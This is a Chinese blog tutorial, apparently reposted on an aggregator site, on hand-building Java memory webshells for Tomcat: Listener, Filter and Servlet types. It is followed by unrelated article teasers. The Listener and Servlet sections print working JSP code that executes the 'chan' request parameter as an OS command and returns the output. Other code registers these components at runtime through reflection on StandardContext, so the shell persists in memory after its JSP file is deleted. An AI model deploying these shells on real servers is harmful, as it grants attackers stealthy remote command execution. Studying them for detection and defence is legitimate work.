JAVA安全—手搓内存马

前言

最近在学这个内存马,就做一个记录,说实话这个内存马还是有点难度的。

什么是内存马

首先什么是内存马呢,顾名思义就是把木马打进内存中。传统的webshell一旦把文件删除就断开连接了,而Java内存马则不同,它将恶意代码直接加载到内存中运行。因为代码是直接在内存中执行的,它不需要保存到硬盘上,这使得它很难被传统的杀毒软件发现和检测。

内存马的分类

传统的内存马主要分为三类,分别是Servlet型、Filter型、Listener型。我们主要讲的就这三种,其它的也有,但是我不会,哈哈哈。

JAVA Web访问流程

首先我们要了解一下JAVA Web的访问流程,这是我网上找的一张图,哈哈哈。正常我们认为的客户端去请求一个1.jsp文件,然后服务端就直接返回1.jsp,在PHP中也许是这样子,但是在JAVA中其实不是这样的。

1、我们去请求一个1.jsp

2、经过Listener组件,如果存在的话

3、经过Filter组件,如果存在的话

4、此时来到Servlet这个组件,如果服务端存在1.jsp这个文件的话,那么就会去请求相对应的路由

最后就是去访问1.jsp这文件。

从上面我们得知,Listener、Filter这两个组件不一定会经过,但是Servlet这个组件一定会经过,因为Servlet 是 Java Web 开发的核心组件,用于处理 HTTP 请求并生成动态响应。

Listener内存马

接下来手搓一个内存马,这里先创建一个项目,就叫ListenerShell。

我这里选择Java8,选个web服务,点击创建即可。

创建一个类叫Test。

在Web.xml这里配置一个Listener监听器,指向我们的Test文件。

Test里面写入以下的代码,看不懂没关系,就是当你发起请求的时候,Servlet就会被激活,那么此时我们就创建了一个Listener 并输出  requestInitialized ,当请求结束的时候也就会输出requestDestroyed。

public class Test implements ServletRequestListener {@Overridepublic void requestInitialized(ServletRequestEvent arg0) {System.out.println("requestInitialized");ServletRequestListener.super.requestInitialized(arg0);}@Overridepublic void requestDestroyed(ServletRequestEvent arg0) {System.out.println("requestDestroyed");ServletRequestListener.super.requestDestroyed(arg0);}
}

出现这个页面就说明我们运行成功了。

可以看到只要我们一访问运行起来的网址,就会输出上面我们所说的结果,说明我们的请求是经过Listener,最终到达Servlet。

如果我们把输出语句改为命令执行语句,不就实现了一个webshell的功能了吗?我们在原来的输出语句下面添加一个打开计算机的命令。

可以看到只要我一访问那么就会弹出计算机来。

那么实际上,Listener内存马通常是指动态注册一个新的恶意Listener组件,传统javaweb项目的内存马就是创建了个新的Listener、Filter、Servlet这几个东西,其它类型的内存马也是同理。这里要注意一下Java Web容器的Listener机制允许存在多个Listener,Listener内存马不会覆盖原有的Listener组件,新旧Listener会共存同时生效

为了搞清楚 listener 是咋把我们创建的类加载到内存中的,我们在下面这个地方下断点进行调试。

选择调试运行,可以看到项目一启动就已经端下来了,我都还没访问网页呢,也就是说先执行  requestInitialized 再去请求网站。

步入我们可以看到这里listener的值为Test,但是Test是怎么来的,我们继续往下分析。

继续步入可以看到 这个 applicationListener  的值为 com.sf.maven.listenershell.Test,说明这时候Listener监听器就已经知道要指向 Test了,同时可以知道 applicationListener 是来源于 CopyOnWriteArrayList。

而 CopyOnWriteArrayList 上级是来源于 context ,这里 context来源于 StandardContext 这个类里面。

这个类是比较关键的,我们可以来看一下它的功能

1、Servlet 和 Filter 管理:StandardContext 负责管理应用程序中的 Servlet 和 Filter 的生命周期。可以添加、移除和配置 Servlet 和 Filter。

2、会话管理:提供会话管理功能,包括会话的创建、销毁和持久化。配置会话超时时间和其他会话相关属性。

3、资源管理:管理应用程序的资源,如 JAR 文件、静态文件等。支持对资源的访问控制和缓存。4、事件监听器:支持注册各种事件监听器,如 ServletContextListener、ServletRequestListener 等。监听并处理应用程序的生命周期事件和请求事件。

5、安全性和认证:提供安全配置选项,包括用户认证、角色授权和安全约束。支持多种认证方式,如基本认证、表单认证等。

6、部署和配置:从 web.xml 或注解中读取和应用配置。支持热部署和自动重新加载。
7、日志记录:提供日志记录功能,方便调试和监控。

重点看第一点和第四点,StandardContext这个类可以注册Servlet、Filter以及各种Listener!!!

而且在StandardContext类里面可以看到一个 addApplicationEventListener 方法,实际上我们上面的Test监听器,就是通过这个方法添加的。

那么接下来我们来要做的就是如何获取StandardContext 这个类的context,直接从网上找的获取代码。

通过request方式获取

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();TestLIstener testLIstener = new TestLIstener();
context.addApplicationEventListener(testLIstener);
%>

通过ServletContext方式获取

<%
//创建ServletContext 为了获取访问的信息的context
ServletContext servletContext = request.getServletContext();//反射调用ApplicationContext#context
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);//反射调用StandardContext#context
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
TestLIstener testLIstener = new TestLIstener();
standardContext.addApplicationEventListener(testLIstener);
%>

通过ContextClassLoader方式获取

<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>

到这里估计大家也明白是如何手搓的了,就是定义一个恶意的Listener,再通过StandardContext把监听器注册到内存中去。

下面我就来演示一下,新建一个JSP文件。

这是网上找的恶意Listener,也就是内存马,写入到test1.JSP。

<%//定义了一个恶意的Listenerclass WLWListener implements ServletRequestListener{@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {}@Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {try{RequestFacade requestfacade= (RequestFacade) servletRequestEvent.getServletRequest();Field field = requestfacade.getClass().getDeclaredField("request");field.setAccessible(true);Request lrequest = (Request) field.get(requestfacade);Response lresponse = lrequest.getResponse();if(lrequest.getParameter("chan") != null){Process process = Runtime.getRuntime().exec(lrequest.getParameter("chan"));java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));StringBuilder stringBuilder = new StringBuilder();String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line + '\n');}lresponse.getOutputStream().write(stringBuilder.toString().getBytes());lresponse.getOutputStream().flush();lresponse.getOutputStream().close();return;}}catch(Exception ig){ig.printStackTrace();}}}
%>

这里就是加载代码,去注册我们上面定义好的Listener,同样是去写入到test1.JSP。

<%//通过获取StandardContext类中的context,注册一个新的ListenerField reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext context = (StandardContext) req.getContext();WLWListener wlwListener = new WLWListener();context.addApplicationEventListener(wlwListener);
%>

现在运行项目,访问我们的test1.jsp,可以看到是空白的,但是内存马已经植入成功。

然后执行命令calc,成功弹出计算机!!!

此时我们把内存马删除掉。

可以看到此时是访问不到我们的test1.jsp的。

但是依旧能执行命令,只需重启一下就执行不了命令了。

Filter内存马

同样新建一个项目,流程是和上面一样的,这里我就不多说了,新建一个Test类,写入以下代码。

package com.sf.maven.filtershell;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
public class Test implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("init");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse response, FilterChain chain) throws IOException, ServletException {System.out.println("doFilter");}@Overridepublic void destroy() {System.out.println("destroy");}
}

Web.xml配置如下,运行的时候就会加载这个Test过滤器。

#Filter 过滤器实现:
-web.xml定义name和class

-web.xml定义name和url路由

-编写class下init,doFilter,destroy方法

<filter><filter-name>Test</filter-name><filter-class>com.sf.maven.filtershell.Test</filter-class></filter><filter-mapping><filter-name>Test</filter-name><url-pattern>Test</url-pattern></filter-mapping>

可以看到项目运行起来就输出init,说明init方法被执行了。

有人可能就注意到了,为啥 doFilter 和 destroy方法没有被执行呢,其实是这样的当我们访问 /Test这个路由,我们才会触发这个 filter-name ,而filter-name又绑定了 com.sf.maven.filtershell.Test 这个类。

浏览器访问 /Test。

触发了doFilter。

最后一个 destroy 就是当我们项目结束就会执行。

此时我们来梳理一下流程:

程序运行自动执行init

Servlet获取访问 URL,从 URL 中判断是否匹配路由,如果匹配就执行doFilter

如触发过滤分析 Filter 名称,路由,触发 Class,

则会相应的去执行 init,doFilter,destroy 方法。

结论:触发路由后执行 doFilter,不触发路由也会执行init

断点调试前我们先修改一下路由,改为 /* 意思是只要一访问网站就会触发doFilter。

doFilter这里设置断点调试,为的就是搞清楚下面两件事情:

1、filter是如何把我们创建的类加载到内存中的

2、我们如何通过java代码把我们自定义的filter类加载到内存中

我们上面在分析listener的时候,只需控制的是listener这个类传入,那是因为创建listener时我们要配置的信息只有类,但是filter不一样,我们要配置的信息除了类,还有类别名,还有对应的触发访问路由,那么我们想要创建一个filter内存马是不是除了filter对象的传入,还要搞清楚filter别名、filter路由是如何传入的,这就是filter内存马和listener内存马编写的区别。

看这里,filterMaps获取了filterName的值为Test,还有urlPattern的值为 /* ,filterDefs获取了filterClass的值,filterConfigs获取name的值。

也就是说 filterMaps 存放了filter别名和路由,filterDefs 存放了filter类指向和filter别名,filterConfigs 存放了一些配置信息。

filterMaps ,filterDefs,filterConfigs这三个的上级调用是context,context是来自StandardContext这个类。

简单总结一下:

 ApplicationFilterConfig用来存储Filter配置信息

StandardContext用来处理 Filter配置信息(有无操作)

而filter创建需要filter类引用、filter别名、对应路由、绑定路由的filter别名、filter实例

对应方法分别是 filterDef#filterclass、filterDef#filtername、filterMap#urlPattern、filterMap#filterName 这里实际上还要传入我们创建的filter实例,这是通过setfilter传入,我们要先配置好这些,把filterDef和filterMap写入StandardContext#context中,然后在filterconfig中有StandardContext#context和filterDef,我们也要添加最后获取filterconfigs,把filterconfig写入,大致的思路就是这样。

那么我们手搓内存马的流程就是:

1、创建filter对象

2、获取StandardContext#context

3、配置filterDef并添加

4、配置filterMap并添加

5、反射创建FilterConfig,传入standardContext与filterDef

6、获取filterConfigs,并且转换成map类型

7、把filter名和配置好的filterConfig传入filterConfings

还是一样新建一个1.jsp,写入以下代码获取所需要的字段,context、filterConfig。

这一部分的代码就是创建一个新的Filter,和上面的Test类一样的,不多讲。

这一部分代码就是配置上诉我们说的东西,名称、Class、url路由。

把Filter注册到内存。

成功弹出计算机,这里要注意执行命令的路径要加上你都路由才行。

Servlet内存马

剩下最后一个了,坚持下去。

老规矩新建一个项目,和上面一模一样,创建一个Test类,写入下面的代码。

package com.sf.maven.servletshell;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class Test extends HttpServlet {@Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {super.service(req,res);System.out.println("service");}@Overrideprotected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {super.doPut(req,resp);System.out.println("doPut");}@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {super.doPut(req,resp);System.out.println("doGet");       }@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {super.doPut(req,resp);System.out.println("dopost");}
}

Web.xml文件配置如下,其实和 Filter 差不多,也都是配置路由,Class。

运行起来后我们随便访问都行,显示405状态。

但是输出了doGet,说明我们调用了doGet这个方法,这里我也不卖关子了,你用post方法去请求URL那么就会调用doPost,输出doPost,doPut方法也是如此。

Servlet 型内存马与 Filter 型内存马类似,都是利用Java 的反射机制和 Tomcat 的 API 在运行时动态注册恶意的组件。Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求,从而实现对目标系统的控制。

这里我就不一步一步跟踪了,直接说流程吧:

  1. 创建servlet

  2. 获取StandardContext#context

  3. 创建wrapper并写入servlet信息

  4. 添加wrapper并添加路由信息

创建一个1.jsp,和上面的Test差不多,只是这里service不是输出了,而是创建一个新的Servlet。

public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {HttpServletRequest lrequest = (HttpServletRequest) servletRequest;HttpServletResponse lresponse = (HttpServletResponse) servletResponse;if (lrequest.getParameter("chan") != null){Process process = Runtime.getRuntime().exec(lrequest.getParameter("chan"));java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));StringBuilder stringBuilder = new StringBuilder();String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line + '\n');}lresponse.getOutputStream().write(stringBuilder.toString().getBytes());lresponse.getOutputStream().flush();lresponse.getOutputStream().close();return;}else{lresponse.sendError(HttpServletResponse.SC_NOT_FOUND);}}

这部分和Filter的差不多,都是为了获取StandardContext#context。

这里就是创建wrapper并写入servlet信息,添加wrapper并添加路由信息。

先访问1.jsp注册新的Servlet,在到相对应的路由下面执行命令即可。

总结

至此结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/26250.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python力扣2:两数相加

给你两个 非空 的链表&#xff0c;表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的&#xff0c;并且每个节点只能存储 一位 数字。 请你将两个数相加&#xff0c;并以相同形式返回一个表示和的链表。 你可以假设除了数字 0 之外&#xff0c;这两个数都不会以 0 开…

CAN硬件协议详解

一、基本理论&#xff1a; 1、CAN的总线结构&#xff1a; CAN总线 网络结构 有 闭环和开环 两种形式&#xff1b;无论实际的网络多复杂&#xff0c;都离不开这两种基本结构。 闭环结构的CAN总线网络&#xff0c;总线的两端各并联一个120Ω的电阻&#xff0c;两…

解决局域网访问Dify却仅显示nginx页面的问题

为什么dify在本机可以正常访问&#xff0c;局域网通过ip访问却只看到欢迎使用nginx的提示&#xff0c;如果访问服务器ip/apps则直接提示404 Not Found。这是怎么回事该如何解决呢&#xff1f;文章中将一步步解决这些问题。 前言 之前在服务器部署了dify&#xff0c;也在服务器…

【前端】——设置菜单的未读状态

用户会接收消息&#xff0c;接收到消息后&#xff0c;需要把待完成的菜单状态改成未读&#xff08;加上小红点提示&#xff09; 例如菜单目录是这样的&#xff0c;需要完成的内容在页面 /test1 里面&#xff0c;但是不光是需要把子菜单 /test1 标记为未完成&#xff0c;其父菜单…

Linux-ftrace-双nop机制的实现

Linux 内核调试工具ftrace 之&#xff08;NOP动态插桩的实现原理&#xff09; ftrace 是 Linux 内核中的一种跟踪工具&#xff0c;主要用于性能分析、调试和内核代码的执行跟踪。它通过在内核代码的关键点插入探针&#xff08;probe&#xff09;来记录函数调用和执行信息。这对…

火山引擎 DeepSeek R1 API 使用小白教程

一、火山引擎 DeepSeek R1 API 申请 首先需要三个要素&#xff1a; 1&#xff09;API Key 2&#xff09;API 地址 3&#xff09;模型ID 1、首先打开火山引擎的 DeepSeek R1 模型页面 地址&#xff1a;账号登录-火山引擎 2、在页面右下角&#xff0c;找到【推理】按钮&#…

在 Element Plus 的 <el-select> 组件中,如果需要将 <el-option> 的默认值设置为 null。 用于枚举传值

文章目录 引言轻松实现 `<el-option>` 的默认值为 `null`I 实现方式监听清空事件 【推荐】使用 v-model 绑定 null添加一个值为 null 的选项处理 null 值的显示引言 背景:接口签名规则要求空串参与,空对象不参与签名计算 // 空字符串“” 参与签名组串,null不参与签…

商业秘密维权有哪些成本开支?

企业商业秘密百问百答之六十三&#xff1a;商业秘密维权费用项目有哪些&#xff1f; 在商业秘密维权过程中&#xff0c;原告可能需要支付多种费用&#xff0c;一般费用项目包括&#xff1a; 1、诉讼费。诉讼费是向法院支付的费用&#xff0c;包括起诉费、案件受理费等。这些费…

StarRocks 在爱奇艺大数据场景的实践

作者&#xff1a;林豪&#xff0c;爱奇艺大数据 OLAP 服务负责人 小编导读&#xff1a; 本文整理自爱奇艺工程师在 StarRocks 年度峰会的分享&#xff0c;介绍了爱奇艺 OLAP 引擎演化及引入 StarRocks 后的效果。 在广告业务中&#xff0c;StarRocks 替换 ImpalaKudu 后&#x…

sql:order by盲注渗透练习

sql-labs靶场46关&#xff1a;order by注入 测试前注意打开小皮面板&#xff0c;打开apache和MySQL服务 http://127.0.0.1:8080/sqli-labs/ 注意端口不要写错 利用orderby注入技术进行排序操作&#xff0c;进而实现报错注入和盲注&#xff0c;最终通过Python脚本自动化提取…

我的世界开发模组的心得体会

最头疼的问题 本人也是小白&#xff0c;也就跟着ai学学怎么开发模组&#xff0c;不会的上网搜搜&#xff0c;但是目前最令我头疼的就是运行rundata和runcilent时的模块冲突&#xff0c;解决办法就是使用以下的build.gradle代码&#xff0c;不要接受人工智能的建议&#xff0c;…

使用pytorch和opencv根据颜色相似性提取图像

需求&#xff1a;将下图中的花朵提取出来。 代码&#xff1a; import cv2 import torch import numpy as np import timedef get_similar_colors(image, color_list, threshold):# 将图像和颜色列表转换为torch张量device torch.device(cuda if torch.cuda.is_available() el…

Redis的优势和特点

什么是redis Remote DIctionary Server(Redis) 是一个由 Salvatore Sanfilippo 写的 key-value 存储系统&#xff0c;是跨平台的非关系型数据库。 Redis 是一个开源的使用 ANSI C 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对(Key-Value)存储…

html+js 轮播图

<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>轮播图示例</title><style>/* 基本样式…

STM32CubeMx DRV8833驱动

一、DRV8833驱动原理 ​ STBY口接单片机的IO口&#xff0c;STBY置0电机全部停止&#xff0c;置1才能工作。STBY置1后通过AIN1、AIN2、BIN1、BIN2 来控制正反转。 AIN1AIN2电机状态00停止1speed反转speed1正转11停止 其中A端&#xff08;AIN1与AIN2&#xff09;只能控制AO1与…

免费轻巧多功能 PDF 处理工具:转换、压缩、提取一应俱全

软件技术 今天要给大家分享一款超实用的 PDF 处理工具&#xff0c;它免费又轻巧&#xff0c;如同随时待命的得力小帮手&#xff0c;功能之强大超乎想象&#xff0c;真的值得大家收藏。 这款工具是绿色版软件&#xff0c;解压后开启&#xff0c;满满的 PDF 处理功能便映入眼帘…

【JAVA SE基础】抽象类和接口

目录 一、前言 二、抽象类 2.1 抽象类的概念 2.2 抽象类语法 2.3 抽象类特性 2.4 抽象类的作用 三、接口 3.1 什么是接口 3.2 语法规则 3.3 接口使用 3.4 接口特性 3.5 实现多接口 3.6 接口间的继承 四、Object类 4.1 获取对象信息&#xff08; toString() &…

C/C++动静态库的制作与原理 -- 静态库,动态库,目标文件,ELF文件,动态链接,静态链接

目录 1. 什么是库 2. 静态库 2.1 静态库的制作 2.2 静态库的使用 3. 动态库 3.1 动态库的制作 3.2 动态库的使用 4. 目标文件 5. ELF文件 6. ELF从形成到加载轮廓 6.1 ELF形成可执行 7.2 ELF可执行文件加载 7. 理解链接和加载 7.1 静态链接 7.2 ELF加载与进程地…

介绍下pdf打印工具类 JasperPrint

JasperPrint 工具类深度解析 JasperPrint 是 JasperReports 框架中实现 PDF 打印的核心载体类&#xff0c;其本质是 填充数据后的可打印报表对象&#xff0c;承担着从模板编译、数据填充到格式输出的全流程控制。以下从 7 个维度展开深度解析&#xff1a; 一、核心定位与生命周…

Python基于Django的网络课程在线学习平台【附源码】

博主介绍&#xff1a;✌Java老徐、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;&…